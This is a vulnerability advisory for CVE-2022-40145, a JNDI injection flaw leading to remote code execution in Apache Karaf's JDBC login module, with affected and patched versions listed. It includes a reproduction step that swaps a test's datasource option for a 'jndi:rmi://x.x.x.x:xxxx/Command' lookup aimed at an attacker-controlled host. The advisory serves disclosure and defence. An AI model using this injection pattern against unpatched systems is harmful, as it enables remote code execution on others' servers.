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Critical severity9.8NVD Advisory· Published Dec 21, 2022· Updated Jun 17, 2026

CVE-2022-40145

CVE-2022-40145

Description

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.

The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName()); to options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command"); in JdbcLoginModuleTest#setup.

This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.

We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

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Affected packages

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PackageAffected versionsPatched versions
org.apache.karaf:apache-karafMaven
< 4.3.84.3.8
org.apache.karaf:apache-karafMaven
>= 4.4.0, < 4.4.24.4.2

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